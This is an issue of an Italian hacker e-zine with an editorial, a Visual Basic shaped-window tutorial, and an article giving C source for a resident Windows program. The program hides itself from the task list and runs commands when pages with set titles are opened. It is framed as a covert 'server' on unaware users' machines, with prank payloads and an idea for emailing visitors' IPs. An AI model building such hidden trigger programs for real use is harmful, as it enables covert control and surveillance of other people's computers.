Copy Link
Add to Bookmark
Report

Netrunners 13

eZine's profile picture
Published in 
Netrunners
 · 26 Apr 2019

  

_______ __ __________
\ \ _____/ |\______ \__ __ ____ ____ ___________ ______
/ | \_/ __ \ __\ _/ | \/ \ / \_/ __ \_ __ / ___/
/ | \ ___/| | | | \ | / | \ | \ ___/| | \|___ \
\____|__ /\___ >__| |____|_ /____/|___| /___| /\___ >__| /____ >
\/ \/ \/ \/ \/ \/ \/(r)
4 0 4
--------------------------------------------------------------------------
FrOm Spp to tHe NeT

NumEro TrEdiCi
--------------------------------------------------------------------------
Sommario:
---------

Editoriale
---------- By -=F14m3r=-®

Laboratorio di sartoria
per windows
----------------------- By Master

Automazione di procedure
remote via web
------------------------ By Master

Videotel e visualizzazione
dei fonts di caratteri
bit-mapped su vga screen
-------------------------- By Master

PDF encryption: le opzioni
di sicurezza
-------------------------- By ADaM

HTTP/1.0 very small Reference
Guide
----------------------------- By --[ fritz ]--

Linux, C, socket e
(soprattutto) select
-------------------- By -=F14m3r=-®

Mirc 5.51 - Quarta Parte
------------------------ By Darkman

Primi passi nell'underground
digitale
---------------------------- By Lord Mibo XIII

SOCKET : Ovvero paragone tra
i vari linguaggi & C.
---------------------------- By Michael Bakunin

Una idea sulla creazione di
una BACKDOOR...
--------------------------- By Michael Bakunin

Protocolli di rete
------------------ By legba

==========================================================================================

Editoriale
--------------
by -=F14m3r=-®
--------------

Rieccoci qua, dopo l'estate (calda!) di nuovo davanti al nostro monitor, le
dita che accarezzano la tastiera, righe di codice che scorrono sullo schermo,
i byte che viaggiano nella grande rete ...e naturalmente il nuovo numero di
Netrunners sul nostro hard disk!

Gia', siamo arrivati a tredici, e questo e' un numero speciale, perche' il
gruppo -=SPP=- (le alucce sono ormai d'obbligo) si arricchisce con due nuovi
membri: Mayhem e NikDH. Colgo quindi l'occasione per dare il benvenuto
ufficiale ai nuovi SpiPPoLaTorI.

Ma passiamo al contenuto di questa rivista... come avete potuto notare
dal sommario ci sono ben TRE articoli di Master; in particolare il terzo, che
riguarda la programmazione su vga, mi ha fatto tornare in mente i bei
tempi in cui programmavo videogiochi su DOS... sigh...

Da segnalare ai newbies l'articolo di Lord Mibo XIII, che puo' essere un buon
punto di partenza per chi non si sente all'altezza degli articoli di Master :-)

Ma non voglio annoiarvi, per cui vi lascio alla lettura di questo numero, solo
il tempo per ricordarvi che potete mandare articoli, opinioni, insulti, e
quant'altro vi venga in mente a me o a Brigante (Brigante@spippolatori.com).
Preferibilmente gli insulti a lui :-))

Have fun!

SpP MeMbeR - SpP MeMbeR - SpP MeMbeR
-=F14m3r=-® *** flamer@freemail.it
SpP MeMbeR - SpP MeMbeR - SpP MeMbeR

==========================================================================================


+
END #___#___#
-= Master =- ##SATOR##
SPP MEMBER *** #AREPO#
www.spippolatori.com #TENET#
master@spippolatori.com #OPERA#
######### ########### #ROTAS#
################################################################################
##################################################################################
################# #######################
################ Laboratorio di sartoria per windows. :) ######################
################ ######################
#############################################################################

Metodo semplice per dare la possibilita' anche ad un mentencatto
di ritagliare un form con la sagoma voluta o seguendo i contorni
di una immagine.

Nota di lavoro: ad esclusivo uso e consumo di veri "smanettoni" :))

Un esempio di applicazione lo si puo' vedere nel client della vecchia
backdoor backorifice dove unitamente al form principale con i comandi
se ne nota uno ritagliato sulla sinistra con all'interno l'immagine
di uno pseudo cinese che strangola una pecora.

Sorvolando sulla qualita' morale di quest'ultimo esempio noi potremo
a nostra volta usare questo sistema per applicare disegni sagomati
all'esterno di nostre applicazioni preesistenti oppure per costruire
nuovi applicazioni con form ritagliati.

Potrebbe essere possibile fare un programma per inviare sms con form a
sagoma di telefonino .. ad esempio io ho usato questo metodo per
costruire un form contenente alcuni link a indirizzi web .. ogni bottone
rappresentativo di un link stava all'interno di una sua sezione..
quest'ultima era ritagliata con la forma delle lettera iniziali
dei link stessi.. una specie di bookmark grafico.


Come funziona?

il sistema di per se e' conosciuto e semplice:

Si definisce per punti una regione-poligono all'interno di un form avendo avuto cura di
settare per questo un le coordinate in modlaita' -pixel- usando

regione = CreatePolygonRgn(vettore_di_punti, numero_di_punti, ... )

si seleziona questa regione all'interno del proprio form con

origine = SetWindowRgn(handle_del_form, regione, ... )

si definisce l'origine di un un oggetto grafico solido all'interno del form

origine = CreatePen( PS_SOLID, 2, vbBlack )
origine_grafica = SelectObject(handle_grafico_del_form, origine)

si seleziona sull'handle grafico lo stesso poligono di partenza

alfa = Polygon(handle_grafico_del_form,vettore_di_punti, numero_di_punti)
origine = SelectObject(handle_grafico_del_form, origine_grafica)


e quindi si elimina tutto cio' che non fa parte dell'oggetto solido appena
definito.

alfa = DeleteObject(origine)

Avendo definito come -solido- la parte contenuta nel poligono sagoma specificato
in precedenza per punti tutto cio' che stara' al suo esterno verra eliminato
senza pieta' .. nel caso di un bottone che rientri per solo meta' all'interno del
poligono stesso questo verra' tagliato in due cosi' come definenedo un area
esterna alla barra del titolo anche questa potrebbe venir segata e sagomata a
piacere.

Ogni oggetto sul form puo' essere ritagliato .. button, textbox, combo e qualsiasi
altra cosa visibile.

Il metodo dicevamo non e' complicato .. e' invece abbastanza laborioso andarsi
a calcolare tutti i punti del poligono da ritagliare per poi applicare il sistema
su un proprio form.


nel caso queste semplice programma potebbe tornarvi utile. :)

Il tool che segue non e' un qualcosa che puo' essere usato cosi' com'e' ma prevede
un minimo di manualita' sul compilatore VB 5 (anche il 6 va bene).


I 5 PASSI DA SEGUIRE OTTENERE UN FORM RITAGLIATO SECONDO LE PROPRIE
ESIGENZE USANDO IL TOOL -TAGLIA- .. E UN PO' DI IMPEGNO. ;-)

=======================================================================================
PASSO 1
=======================================================================================
Come primo passo e' necessario eseguire il tool caricando il programma VB
taglia.vbp dalla directory "programam di taglio" contenuta nel file allegato
SARTORIA.zip

.. ci verra' prensentato un form
all'interno del quale apparira' una immagine di un angioletto.
L'immagine ovviamente potra' essere cambiata cosi' come le dimensioni del form stesso.
Pre cambiare l'immagine bastera' clickare su cambia-immagine ovviamente mettendo nella
textbox appena sotto il nome e il path del disegno da sostiuire.
Per cambiare le dimensioni del form sara' necessario studiarsi un po' il prog e fare
alcune prove. :)

=======================================================================================
PASSO 2
=======================================================================================
Premendo su seleziona i punti di taglio si potra' passare a selezionare col mouse
la regione da ritagliare all'interno della immagine visualizzata.

I punti selezionati verranno mostrati nella list box sulla sinistra.

Sbagliano a digitare la selezione sara' cmq possibile premere nuovamente "seleziona
i punti di taglio"
per cominciare da capo.

=======================================================================================
PASSO 3
=======================================================================================
Finito il lavoro di ricamo dopo essersi ricordati di chiudere alla meglio il primo
punto selezionato facendolo combaciare con l'ultimo [ in ogni caso il poligono viene
chiuso atuomaticamente ma meglio farlo a mano per evitare aree spurie indesiderate ]
si dovra' premere "salva il form con il disegno ritagliato".

..a questo punto il programma ha salvato un form dal nome FINITO.FRM contenente le
istruzioni ncessarie alla visualizzazione della immagine ritagliata come form a se
stante.

=======================================================================================
PASSO 4
=======================================================================================
E' necessario quindi dare lo stop al compilatore vb .. rimuovere il form generale
FORM1.FRM dalla lista di progetto e caricare al suo posto (con inserisci nuovo
form esistente) il form appena creato dal programma tagia -> FINITO.FRM
[ la liberia taglia.bas dovra' sempre essere presente ]


=======================================================================================
PASSO 5
=======================================================================================
dando il RUN il compilatore richiedera' nuovamente un form di avvio .. selezioneremo
dalla combo FORM1 e ed ecco apparire la nostra immagine ritagliata. :)



Questo form potra' essere usato a piacere per i propri lavori o unito ad altri come
abbellimento.

=======================================================================================
IMPORTANTE!
=======================================================================================
Sara' necessario ricordarsi di salvare da altra parte il lavoro fatto usando
"salva progetto con nome" altrimenti il tutto andra' a sormontarsi al programma
originale di taglio.


Negli allegati all'interno del file SARTORIA.ZIP e' possibile trovare:

1. un esemio generale di applicazione: ANGIOLETTO
Dove si vece un form tradizionale con applicato all'esterno un form ritagliato
con immagine interna. [ tipo client backorifice ]

2. un esempio di foratura di form : "floppy dick bucato"
dove il form rappresenta un floppy disc da 5'1/4 con la parte centrale forata.

3. un form triangolare

.. alla vostra fantasia fare il resto. :))


-= Master =-
SPP MEMBER ***
www.spippolatori.com
master@spippolatori.com

==========================================================================================
+
END #___#___#
-= Master =- ##SATOR##
SPP MEMBER *** #AREPO#
www.spippolatori.com #TENET#
master@spippolatori.com #OPERA#
######### ########### #ROTAS#
################################################################################
#################################################################################
################# ######################
################# Automazione di procedure remote via web. ######################
################ #####################
#############################################################################



Da sempre annoiato dai vari popup banner che i siti free aprono a seguito della
loro frequentazione o (peggio) alla chiusura delle pagine visitate mi sono fatto
una semplice procedura per eliminare queste window dichiarandole in una lista.

Avevo appena scritto le poche righe di sorgente necessario quando quella meravigliosa
cosa chiamata serendipity si e' affacciata prepotente mostrandomi una applicazione
forse poco pratica ma non per questo meno interessante su un utilizzo meno
superficiale del prodotto che avevo appena ultimato.

Non saprei dire ancora con precisione l'effettiva utlita' che potrebbe avere riguardo
ad applicazioni -maliziose- ma di sicuro per le cose sotto elencate potrebbe rivelarsi
utile... se non altro per sapere come implementare il SendKeys del VB sotto C++ o
Delphi ..cosa che mi chiedono a ripetizione almeno un paio di persone alla settimana. ;-)

in generale il metodo si riferisce all' "eseguire un particolare lavoro su una macchina
remota quando sulla stessa viene aperto un nuovo processo avente nel titolo parole
chiave che permettano ad un programma server preinstallato di eseguire automaticamente
procedure di vario tipo e natura"


Ad esempio:

-> eseguire un programma da remoto all'atto della frequentazione di un particolare
sito web. (il sito potrebbe anche non essere il nostro o semplicemente uno a caso con
caratteristiche note di presentazione)

Personalmente ho applicato questa cosa per un cliente che aveva le sue pagine
su un server free senza possibilita' di pagine asp o cgi.

Questo tizio voleva che i suoi utenti eseguissero (senza dover confermare o meno
come nel caso degli activex) un programma solo nel caso avessero frequentato una sua
pagina web prestabilita .. il programma poteva essere diverso nel tempo e quindi
all'atto della visitazione della pagina X gli utenti dovevano scaricarselo in
background ed eseguirlo .. tutto stealth.

Come dicevo tutto e' cominciato con l'idea di levare i popup banner.

Problema di semplice soluzione si potrebbe dire subito.. ma in effetti nel cercare di
realizzarlo praticamente si potrebbero trovare diversi intoppi abbastanza rilevanti.

Ad esempio si potrebbe confondere le gestione delle classi di un programma -complesso-
come internet explorer con quella di un qualsiasi altro programma.

Si vederebbe subito la differenza cercando di operare su ambedue con le stesse metodologie.

Si sa che per chiudere una windows aperta a video e' sufficiente inviare il messaggio
VM_CLOSE trovandosi l'handle della stessa.

Purtroppo questo con IE non funziona o al massimo del risultato possibile si ottiene
di mandare tutto in crash usando altri tipi di messaggio tipo BN_HILITE. :)

Fatto agghiacciante ..a volte funziona a volte no..questo dipende anche dalla raffinata
gestione -polimorfica- dei thread sotto windows che permette di chiamare due processi
diversi con stessi nomi, titoli, classi e magari soltanto con un sempice identificativo
maggiorato di uno.

Il povero VM_CLOSE non e' in grado di discriminare tutte questo sottigliezze operative a
meno che non si possa sin dall'inizio specificare con esattezza gli oggetti esatti da
chiudere per di piu' nell'esatto ordine di cascata.

Si puo' pero' risolvere questo problema da veri praticoni semplicmente saltandolo! :)

Nel caso del VB basta trovare l'handle di una finestra prestabilita da dover chiudere ed
inviare la pressione congiunta dei tasti ALT+F4 alla finestra attiva usando il comodissimo
comando SendKeys.

Nel caso del C il Sendkeys non c'e' .. o almeno non c'e' come funzione standard in qualche
libreria pero' nulla ci vieta di ricostruircelo con poca spesa e fatica.

La funzione di sistema (API) per simulare un evento da tastiera (esattamente come il
sendkeys) e' keybd_event

dalla MSDN si legge:
...........................................................................................
VOID keybd_event(
BYTE bVk, // virtual-key codice virtuale associato al tasto
BYTE bScan, // hardware scan code [ non serve a niente per i nostri scopi ]
DWORD dwFlags, // flags .. specifica se il tasto viene premuto o rilasciato
// 0=premuto , 2=rilasciato .. e 1?? BOOHH :))
DWORD dwExtraInfo // extrainfo [ pure questo non serve a nulla ]
);
...........................................................................................

allora per premere contemporaneamente i tasti ALT + F4 considerando che i valori
dei codici virtuali dei tasti realtivi sono

ALT -> VK_MENU = &H12 = 0x12 = 18
F4 -> VK_F4 = H&73 = 0x73 = 115

[

nella msdn o alla fine di questo articolo c'e' una lista dettagliata dei VK code
ma cmq e' possibile trovare il key code corrispondente di un carattere ascii
usando la API di sistema

VkKyeScan(carattere_ascii)

...........................................................................................
SHORT VkKeyScan(
TCHAR ch // carattere da decodificare
);
...........................................................................................
]

dovremmo scrivere

keybd_event(0x12, 0, 0, 0);
keybd_event(0x73, 0, 0, 0);
| |
| |
| |
| \___ Flag a 0 per indicare che il tasto viene premuto
|
\___ KeyCode

[ i tasti ALT e F4 vengono premuti contemporaneamente
"prima ALT e poi F4" ]

e quindi di seguito

keybd_event(0x73, 0, 2, 0);
keybd_event(0x12, 0, 2, 0);
| |
| |
| |
| \___ Flag a 1 per indicare che il tasto viene rilasciato
|
\___ KeyCode

[ i tasti ALT e F4 vengono rilasciati ]


.. Detto questo un altro problema si presenta durante la chiusura dei form windows.

Sembrava che chiudere un form fosse piu' semplice eh!? :)

Un programma che chiude i popup non potra' fare a meno di controllare i titoli di
tutte le windows aperte per vedere se ce ne e' uno che corrisponde a quelli dichiarati
all'interno di una lista nota.

Questo il programma sara' costretto a farlo "ciclicamente" e quindi e' probabile che
ogni tanto (anche se non spesso) intoppi in un'altra delle caratteristiche bizzarre
di windows:

"La rigenerazione dei form-title in fase di chiusura dichiarata del form." :))

Potra' capitare allora la seguene situazione

a. inviamo al form il comando di chiusura (sia esso un destroy, alt+f4, close, ecc..)
b. windows inizia a chiudere tutti i processi figli inizializzati in coda al thread padre.
c. il form viene chiuso.

il tempo che intercorre tra i punti "b" e "c" e' generalmente molto piccolo .. nel caso
sfortunato che il nostro programma verificasse la solita procedura di killing in quel
particolare momento succederebbe questo:

a. ci troveremmo con un form windows aperto a titolo originale con gia' la maggior parte
delle risorse chiuse e un comando di CLOSE (ALT+F4) in coda di attesa.

b. La nostra procedura non potendo verificare la coda del form e trovando lo stesso
processo col titolo ancora attivo invierebbe un altro ALT+F4 che windows stesso pero'
(avendo gia una chiusura in lista per quel form specifico) passerebbe alla prima finestra
attiva subito sotto.

..se avessimo aperto explorer alla pagina A1 con in apertura un popop da killare a titolo
A2 ci ritroveremmo chiusi sia A1 che A2

.. nel caso peggiore.. se avessimo aperto solo un processo da killare (cioe' una solo
form windows sul desktop!), trovandoci nella situazione sopra, la nostra procedura
lo eliminerebbe passando pero' anche un altro ALT+F4 al dektop stesso che ci invierebbe
il dialogo per la chiusura generale di windows.

La soluzione di questo problema consiste nell'aspettare semplicemente X microsecondi
prima di rieseguire la procedura di controllo .. anche 1 secondo .. meglio abbondare. :)))


-----------------------------
Gli albori del progetto
-----------------------------

tutto e' nato dicevo da una banalita' in Borland c++3

------------- leva form.c
#include <stdio.h>
#include <string.h>
#include <windows.h>

int PASCAL WinMain(HANDLE hInstance, HANDLE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow)
{
FILE *f;
MSG msg;
int k=0,m,n;
char s[0xff];
char lista[50][100];

f=fopen("lista.txt","rb");
while(!feof(f)){
fgets(s,30,f);
s[strlen(s)-2]=0;
if(strlen(s)>3)strcpy(lista[k++],s);}
fclose(f);

while(TRUE){
PeekMessage(&msg,0,0,0,0);
n=GetActiveWindow();
GetWindowText(n,s,0xff);
if(strlen(s)>3)
for(m=0;m<k;m++){
PeekMessage(&msg,0,0,0,0);
if(strstr(s,lista[m]))
{SendMessage(n,WM_CLOSE,0,0);
}

}}}
------------- leva form.c


il programma pesca le stringhe da verificare sui i titoli delle windows aperte
e se ne trova una all'interno di questi ultimi cancella il form invando il
messaggio WM_CLOSE

Ma PeekMessage a che serve???
per i curiosi PeekMessage e' necessario per evitare che una applicazione win16 come quella
creata dal BC3 non occupi completamente tutti i cicli macchina congelando le
nostre azioni sul sistema. (L'equivalente sarebbe in pratica il DoEvents del VB)
Ovviamente per i programmi compilati in modalita' 32bit col C non e' necessario
per ovvi motivi. ;-)


La lista dei Titoli da cancellare dovra essere una cosa tipo questa

------------------ lista.txt
Windows Commander
TCPView
Telnet - (nessuna)
ecc...
------------------ lista.txt

come gia' accennato pero' la cosa non funziona con form tipo Internet Exlorer
che in pratica se ne fregano di un WM_CLOSE inviato direttamente alle uniche
risorse video che mostrano.

nasce allora il programma POPUP.C che segue .. compilabile sia col Borland che col VC in
modalita' Console 32bit.

La procedura per la chiusura e' stata sostituita con la keyb_event e in piu'
(la SERENDIPITY) ho aggiunto tutta un'altra serie di mini procedure per automatizzare
una serie di lavori diversi nel caso del rintraccio di un titolo prestabilito..

Ognuno di voi potra' scriversi a seguito le procedure per eseguire i lavori che
piu' riterrete opportuni.

Sono quasi tutte delle cose inutili .. ne convengo .. ma del resto questo articolo vuole
essere in buona sostanza solo un spunto per permettere ad altri di elabroare sulla falsa
riga i propri tools e non un manuale per l'uso di procudure gia' fatte che a null'altro
servirebbero se non a procurare pigrizia nel lettore e critiche all'autore. ;-)


.. e' necessario come prima cosa spiegare come si possoo effetturae gli esperimenti col
programma POPUP.C che segue.

Innanzitutto si deve sapere che per inviare un comando da eseguire e' necessario creare
nuovo processo avente nel titolo alcune parole prestabilite.

Come si fa? .. la cosa piu' semplice e' generare una semplice pagina HTML con il titolo
voluto.

****************************************************************************************
NOTA:
****************************************************************************************
Gli esperimenti si faranno in locale ma bisogna sempre pensare che i risultati che
noi vedremo sulla nostra macchina saranno gli stessi che vedra' il tizio ignaro
avendo il server installato quando si colleghera' ad una certa pagina non sospetta
attraverso internet.
****************************************************************************************

Ad esempio il programma viene cancellato dalla task list poiche' registrato nel modo
classico come servizio quindi l'unica possibilita' per cancellareo era inserire un comando
che lo facesse dal suo interno.

L'attivazione di questa procedura avviene quando il tool trova una window il cui titolo
contiene la parola

"rimuovi il programma" [ attenione alle maiuscole e alle minuscole ]

per eseguirla si creera' il semplice file HTML leva.htm

-------------------------- leva.htm
<HTML>
<HEAD>
<title>rimuovi il programma</title>
<BODY BGCOLOR=#000099 TEXT=FFFFFF LINK=00FFFF ALINK=FF00ff VLINK=FFFF00>
</BODY>
</HTML>
-------------------------- leva.htm


la sua esecuzione con explorer fara' si che il programam residente in memoria
termini la sua esistenza.


Altre procedure sono un FAKE HACKING (he he) di una quasiasi pagina web che contenga
la parola sicurezza.
[installarlo su un computer remoto con solo questa opzione potrebbe causare degli
effetti a dir poco esilaranti. :)) ]

L'utente con istallato il tool se si trovasse a passare su un sito web con la parola
"sicurezza" nel titolo si vedrebbe cambiare il titolo stesso del suo explorer con
la scritta "pagina hackerata da pippo xxx volte" .. con xxx come contatore a ripetizione.


Per sperimentare anche questa opzione occorrera' crearsi un'altra pagina HTML
a nome sito_anti_hacker.htm

----------------------------- sito_anti_hacker.htm
<HTML>
<HEAD>
<title>Pagina realtiva alla sicurezza informatica</title>
<BODY BGCOLOR=#000099 TEXT=FFFFFF LINK=00FFFF ALINK=FF00ff VLINK=FFFF00>
</BODY>
</HTML>
----------------------------- sito_anti_hacker.htm


e visualizzarla su explorer (o Netscape) col tool POPUP.C attivo.


le altre procedure che ho inserito sono

.. l'invio di un messaggio di saluto
.. l'invio di una mail col client di posta predefinito
.. l'esecuzione ripetuta di notepad con il file leggimi text
.. l'esecuzione unica di notepad con il file leggimi.txt


Nel file supportini.zip allegato trovate tutti i sorgenti e anche i file html per
fare le prove..


Versione per VC
---------------------------------------- PopUpVC.CPP
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <process.h>

int conta=0;

int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
FILE *f;
int k=0,m,k1;
char s[0xff],s1[0xff],s2[0xff];
char lista[50][30];
HANDLE j;

// -----Elimina dalla TaskList-----------------------------
HINSTANCE carica;
typedef DWORD (__stdcall *forma)(DWORD, DWORD);
forma RegisterServiceProcess;
carica = LoadLibrary("kernel32.dll");
if(carica)
{
RegisterServiceProcess =(forma)GetProcAddress(carica,"RegisterServiceProcess");
if(RegisterServiceProcess)
{
RegisterServiceProcess(GetCurrentProcessId(),1);
}
}
FreeLibrary(carica);
// --------------------------------------------------------

// -----Importa la lista di sottotitoli--------------------
if((f=fopen("lista.txt","rb"))==NULL)
{
MessageBox(0,"lista.txt\n","Manca il file:",NULL);
exit(0);
}
while(!feof(f))
{
fgets(s,30,f);
s[strlen(s)-2]=0;
if(strlen(s)>3)
{
strcpy(lista[k++],s);
}
}
fclose(f);
// --------------------------------------------------------

// -----Funzioni-------------------------------------------
while(TRUE)
{
for(k1=0;k1<=0x2000;k1++)
{
GetWindowText((HINSTANCE)k1,s,0xff);
if(strlen(s)>3)for(m=0;m<k;m++)
{
// -----Se trova chiude--------------------------------------
if(strstr(s,lista[m]))
{
// per chiudere una applicazione col close.
// SendMessage((HINSTANCE)k1,WM_CLOSE,0,0);

// per chiudere invece una applicazione con ALT+F4.
// -> Questo sistema funziona anche con i popup banner
// aperti dai vari siti tipo Geocities, Aspide, ed altri ..
//
// ........................................................
// L'applicazione trovata il cui titolo contiene una delle
// Sub-string del file lista.txt viene posta in focus
// ........................................................
SetForegroundWindow((HINSTANCE)k1);
// ........................................................

// ........................................................
// Quindi cancellata con l'invio dei tasti ALT+F4
// ........................................................
// ALT premuto
// | |
keybd_event(0x12, 0, 0, 0);
// F4 premuto
// | |
keybd_event(0x73, 0, 0, 0);
// ALT rilasciato
// | |
keybd_event(0x73, 0, 2, 0);
// F4 rilasciato
// | |
keybd_event(0x12, 0, 2, 0);
// ........................................................

// ........................................................
// Attende un secondo per evitare di ritrovare l'eco della
// applicazione in fase di cancellazione.. altrimenti la stessa
// procedura potrebbe inviare un altro ALT-F4 che chiuderebbe
// anche il form-window subito sotto.
// ........................................................
Sleep(1000);
// ........................................................

// con keybd_event si simula la pressione di un tasto
// esattamente come col SendKeys del VB
}
// -----------------------------------------------------------

// -----Elimina il programma dalla memoria-------------------
if(strstr(s,"rimuovi il programma"))
{
exit(0);
}
// -----------------------------------------------------------

// -----Manda un messaggio di saluto-------------------------
if(strstr(s,"fai un salutino"))
{
MessageBox(0,"Ciao!","Messaggio personale",64);
}
// -----------------------------------------------------------

// -----Carica il notepad col file leggimi.txt---------------
// si apre una sola volta
if(strstr(s,"esegui notepad unico"))
{
GetWindowsDirectory(s1,0xff);
strcat(s1,"\\leggimi.txt");
ShellExecute(j, 0,"notepad", s1, 0, SW_NORMAL);
// Capitalizza il titolo della finestra per evitare
// che sia reiterato dalla funzione.
s[0]='E';SetWindowText((HINSTANCE)k1,s);
}
// -----------------------------------------------------------


// -----Carica il notepad col file leggimi.txt---------------
// chiudendo notepad si riapre automaticamente :)
if(strstr(s,"esegui notepad"))
{
GetWindowsDirectory(s1,0xff);
strcpy(s2,s1);
strcat(s1,"\\notepad.exe");
strcat(s2,"\\leggimi.txt");
spawnlp(_P_WAIT,s1,s2,s2, NULL);
}
// -----------------------------------------------------------


// -----Fake Hacking della pagina "sicurezza"-----------------
// Simula un tentativo di hacking (riuscito) ad una qualuqnue
// pagina web che riporti nel <title> la parola "sicurezza"
#define testo "pagina hackerata da pippo"
if(strstr(s,_strlwr("sicurezza")))
{
SetWindowText((HINSTANCE)k1,testo);
}
// ...........................................................
if(strstr(s,testo))
{
if(conta++>9999)conta=0;
strcpy(s1,testo);strcat(s1," ");itoa(conta,s2,10);
strcat(s1,s2);strcat(s1," volte.");
SetWindowText((HINSTANCE)k1,s1);
}
// -----------------------------------------------------------


// -----invia una mail col client predefinito-----------------
if(strstr(s,"spediscimi"))
{
ShellExecute(j, 0, "mailto:Master@spippolatori.com?Subject=Ma%20come%20e'%20possibile%20?&Body=Ciao%20Ciao%0d%0ada%20me.", 0, 0, SW_NORMAL);
// Per evitare di aprire piu' client .....................
s[0]='S';SetWindowText((HINSTANCE)k1,s);
}


//------------------altro .. un esempio utile di applicazione:
// se viene aperta una pagina htlm di un sito con un determinato titolo
// spedisce il contenuto della pagina (conl'ip ad esempio) ad un indirizzo
// mail prestabilito. (per verificare chi freqenta quella url senza
// avere fisicamente il server a disposizione o dover sotoscrivere account
// con altri server per le statistiche.
// l'ip e le altre informazioni possono essere messe direttamente nel
// titolo della finestra via script per metterle a disposizione del comando
// che inviera' il tutto tramite popup.
}
}
}
// --------------------------------------------------------
return 0;
}

---------------------------------------- PopUpVC.CPP

---------------------------------------- PupUpBCB.CPP
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <process.h>

int conta=0;

int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
FILE *f;
int k=0,m,k1;
char s[0xff],s1[0xff],s2[0xff];
char lista[50][30];
HWND j;

// -----Elimina dalla TaskList-----------------------------
HINSTANCE carica;
typedef DWORD (__stdcall *forma)(DWORD, DWORD);
forma RegisterServiceProcess;
carica = LoadLibrary("kernel32.dll");
if(carica){
RegisterServiceProcess =(forma)GetProcAddress(carica,"RegisterServiceProcess");
if(RegisterServiceProcess){RegisterServiceProcess(GetCurrentProcessId(),1);}}
FreeLibrary(carica);
// --------------------------------------------------------

// -----Importa la lista di sottotitoli--------------------
f=fopen("lista.txt","rb");
while(!feof(f)){
fgets(s,30,f);
s[strlen(s)-2]=0;
if(strlen(s)>3)strcpy(lista[k++],s);}
fclose(f);
// --------------------------------------------------------

// -----Funzioni-------------------------------------------
while(TRUE){
for(k1=0;k1<=0x2000;k1++){
GetWindowText((HWND)k1,s,0xff);
if(strlen(s)>3)for(m=0;m<k;m++){
// -----Se trova chiude--------------------------------------
if(strstr(s,lista[m])){
// per chiudere una applicazione col close.
// SendMessage((HINSTANCE)k1,WM_CLOSE,0,0);
// per chiudere invece una applicazione con ALT+F4.
// -> Questo sistema funziona anche con i popup banner
// aperti dai vari siti tipo Geocities, Aspide, ed altri ..
//
// ........................................................
// L'applicazione trovata il cui titolo contiene una delle
// Sub-string del file lista.txt viene posta in focus
// ........................................................
SetForegroundWindow((HWND)k1);
// ........................................................
// ........................................................
// Quindi cancellata con l'invio dei tasti ALT+F4
// ........................................................
// ALT premuto
// | |
keybd_event(0x12, 0, 0, 0);
// F4 premuto
// | |
keybd_event(0x73, 0, 0, 0);
// ALT rilasciato
// | |
keybd_event(0x73, 0, 2, 0);
// F4 rilasciato
// | |
keybd_event(0x12, 0, 2, 0);
// ........................................................
// ........................................................
// Attende un secondo per evitare di ritrovare l'eco della
// applicazione in fase di cancellazione.. altrimenti la stessa
// procedura potrebbe inviare un altro ALT-F4 che chiuderebbe
// anche il form-window subito sotto.
// ........................................................
Sleep(1000);
// ........................................................
// con keybd_event si simula la pressione di un tasto
// esattamente come col SendKeys del VB}
// -----------------------------------------------------------

// -----Elimina il programma dalla memoria-------------------
if(strstr(s,"rimuovi il programma"))exit(0);
// -----------------------------------------------------------

// -----Manda un messaggio di saluto-------------------------
if(strstr(s,"fai un salutino"))MessageBox(0,"Ciao!","Messaggio personale",64);
// -----------------------------------------------------------

// -----Carica il notepad col file leggimi.txt---------------
// si apre una sola volta
if(strstr(s,"esegui notepad unico")){
GetWindowsDirectory(s1,0xff);
strcat(s1,"\\leggimi.txt");
ShellExecute(j, 0,"notepad", s1, 0, SW_NORMAL);
// Capitalizza il titolo della finestra per evitare
// che sia reiterato dalla funzione.
s[0]='E';SetWindowText((HWND)k1,s);}
// -----------------------------------------------------------

// -----Carica il notepad col file leggimi.txt---------------
// chiudendo notepad si riapre automaticamente :)
if(strstr(s,"esegui notepad")){
GetWindowsDirectory(s1,0xff);
strcpy(s2,s1);
strcat(s1,"\\notepad.exe");
strcat(s2,"\\leggimi.txt");
spawnlp(P_WAIT,s1,s2,s2, NULL);}
// -----------------------------------------------------------

// -----Fake Hacking della pagina "sicurezza"-----------------
#define testo "pagina hackerata da pippo"
if(strstr(s,strlwr("sicurezza")))SetWindowText((HWND)k1,testo);
// ...........................................................
if(strstr(s,testo)){
if(conta++>9999)conta=0;
strcpy(s1,testo);strcat(s1," ");itoa(conta,s2,10);
strcat(s1,s2);strcat(s1," volte.");
SetWindowText((HWND)k1,s1);}
// -----------------------------------------------------------

// -----invia una mail col client predefinito-----------------
if(strstr(s,"spediscimi")){
ShellExecute(j, 0, "mailto:Master@spippolatori.com?Subject=Ma%20come%20e'%20possibile/?&Body=Ciao%20Ciao%0d%0ada%20me.", 0, 0, SW_NORMAL);
// Per evitare di aprire piu' client .....................
s[0]='S';SetWindowText((HWND)k1,s);}


//------------------altro .. un esempio utile di applicazione:
// se viene aperta una pagina htlm di un sito con un determinato titolo
// spedisce il contenuto della pagina (conl'ip ad esempio) ad un indirizzo
// mail prestabilito. (per verificare chi freqenta quella url senza
// avere fisicamente il server a disposizione o dover sotoscrivere account
// con altri server per le statistiche.
// l'ip e le altre informazioni possono essere messe direttamente nel
// titolo della finestra via script per metterle a disposizione del comando
// che inviera' il tutto tramite popup.
}}}
// --------------------------------------------------------
return 0;
}

---------------------------------------- PupUpBCB.CPP


e questo e' quanto.

Il programma a prima vista sembra piu' semplice di quello che non e' .. in effetti il
meccanismo retroattivo non e' semplice ne da progettare ne da capire ma una volta che
ci si e presa la mano si possono trovare delle soluzioni ai propri problemi estremamente
pratiche e spesso molto "divertenti".

Se a qualcuno venisse in mente qualche applicazione "interessante" e' pregato di
avvertirmi .. vedremo di implementarla. ;-)


-= Master =-
SPP MEMBER ***
www.spippolatori.com
master@spippolatori.com

########################################################################################
###### #####################################################################
###### APPENDICE: #####################################################################
###### #####################################################################
###########################################################################################

//-----------------------------------------------------------------------------------------
VK_CODE :
//-----------------------------------------------------------------------------------------

Costante HEX Descizione
-------------------------------------------------------------------
VK_LBUTTON 01 Left mouse button
VK_RBUTTON 02 Right mouse button
VK_CANCEL 03 Control-break processing
VK_MBUTTON 04 Middle mouse button (three-button mouse)
VK_BACK 08 BACKSPACE key
VK_TAB 09 TAB key
VK_CLEAR 0C CLEAR key
VK_RETURN 0D ENTER key
